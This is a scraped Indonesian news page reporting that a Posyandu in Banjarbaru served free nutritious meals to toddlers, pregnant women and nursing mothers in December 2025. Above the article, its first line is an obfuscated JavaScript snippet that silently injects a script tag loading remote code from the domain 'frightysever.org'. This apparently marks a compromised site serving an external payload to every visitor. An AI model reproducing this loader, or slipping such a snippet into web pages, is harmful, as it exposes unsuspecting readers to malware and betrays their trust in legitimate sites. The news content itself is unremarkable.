(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Posyandu Komplek Griya Pesona Bhayangkara, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru, menjadi penerima manfaat dari program Makan Bergizi Gratis (MBG), Senin (22/12/2025) siang.
Untuk kali pertama di Kota Banjarbaru, dapur MBG memperluas manfaat program untuk bayi di bawah lima tahun (Balita), bayi di bawah dua tahun (Baduta), ibu hamil (Bumil), dan ibu menyusui melalui Posyandu yang digelar rutin setiap bulan.
Satuan Pemenuhan Pelayanan Gizi (SPPG) Guntung Manggis 1 menyalurkan 75 porsi makanan yang dikemas dengan ompreng beserta goodie bag berisi kue, susu, dan telur mencegah stunting.
Baca juga: Kabel Semerawut Tak Juga Diurus, Warga Lelah Mengadu!
Ketua Posyandu Griya Pesona Bhayangkara, Aida Nor Adha Sari mengatakan, dari 75 porsi MBG dibagikan kepada 35 balita, 30 baduta, 7 Bumil, dan 4 ibu menyusui.
“Alhamdulillah kita melaksanakan pembagian MBG yang pertama kali. Kebetulan putaran pertama di Posyandu Griya Pesona Bhayangkara,” ujar Ketua Posyandu Griya Pesona Bhayangkara.
Aida menjelaskan, pemberian MBG oleh SPPG dijadwalkan pada hari Senin dan Kamis, namun karena perdana, penyaluran diberikan secara bergantian untuk Posyandu yang ada di setiap kelurahan.
Baca juga: Kasi Datun Kejari HSU Diringkus, Bantah Mobil Tabrak Tim KPK
“Entah nanti berkelanjutan setiap hari kita belum tahu, sementara ini arahannya baru Senin dan Kamis. Bergantian, Senin hari ini 4 Posyandu dulu, termasuk di sini, mungkin Kamis Posyandu lainnya,” jelasnya.
Sistem penyaluran, Posyandu telah mendata para penerima manfaat dari umur 6 bulan sampai 23 bulan. Kemudian dipilah untuk mengatur menu makanan yang akan diberikan.
“Ada juga umur dua tahun sampai lima tahun, jadi beda-beda menunya, maka kami pilah-pilah,” sambung Aida.
Baca juga: Banjarbaru Terima Alat Mitigasi EWS dan Truk Serba Guna
Dirinya menyebut untuk menu makanan Baduta mendapatkan bubur, berbeda dengan Balita hingga ibu menyusui dan ibu hamil mendapatkan menu nasi putih.
“Bedanya kalau Baduta bubur, kalau Balita nasi, tapi sayurnya sama isinya, sama dengan Bumil dan Busui seperti kita makan siang, ada sayur, ada telur, ada ikan,” sebut dia. Karena memakai ompreng maka para penerima manfaat MBG harus datang dan makan langsung di Posyandu.
SPPG mulai menyalurkan paket makanan sejak pukul 10.00 Wita, dan kembali mengambil ompreng sekitar pukul 12.00 Wita.
“Kalau ada ompreng harus makan di sini. Jadi si anak sama ibu datang ke Posyandu makan bersama di sini,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
This website uses cookies.